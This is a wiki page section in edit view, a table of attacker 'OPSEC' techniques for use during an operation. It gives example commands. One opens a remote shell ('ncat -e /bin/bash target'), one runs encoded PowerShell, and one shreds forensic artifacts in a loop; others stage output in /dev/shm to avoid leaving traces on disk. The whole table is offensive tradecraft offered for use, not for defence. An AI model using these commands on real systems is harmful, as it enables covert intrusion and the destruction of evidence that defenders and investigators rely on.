Editing Operational Security (OPSEC) (section)

=== ⏳ During ===
{| class="wikitable" style="width:100%; text-align:left; background:#1c1c1c; color:#e0e0e0;"
! Technique !! Description !! Usage
|-
| Volatile-only tools || Use tools that execute and vanish from memory without disk artifacts. || <code>ncat -e /bin/bash target</code><br><code>pwsh -enc ...</code>
|-
| Shell session isolation || Avoid using default user shells or system shells directly. || <code>chroot /mnt/volatile /bin/bash</code><br><code>setsid bash -c 'exec bash'</code>
|-
| Output redirection || Pipe outputs to volatile memory or null sink to avoid cache/write. || <code>command > /dev/shm/out</code><br><code>command > /dev/null</code>
|-
| Temp file avoidance || Avoid writing to <code>/tmp</code> or <code>/var/tmp</code> where data may persist. || Use <code>/dev/shm</code> or RAM disk mounts
|-
| Real-time artifact scrubbing || Monitor and erase known forensic traces during session. || <code>lsof | grep deleted</code> + <code>shred</code> in loop
|-
| In-memory enumeration || Use one-liners and streams rather than writing output to files. || <code>ls -la | grep conf</code>
|}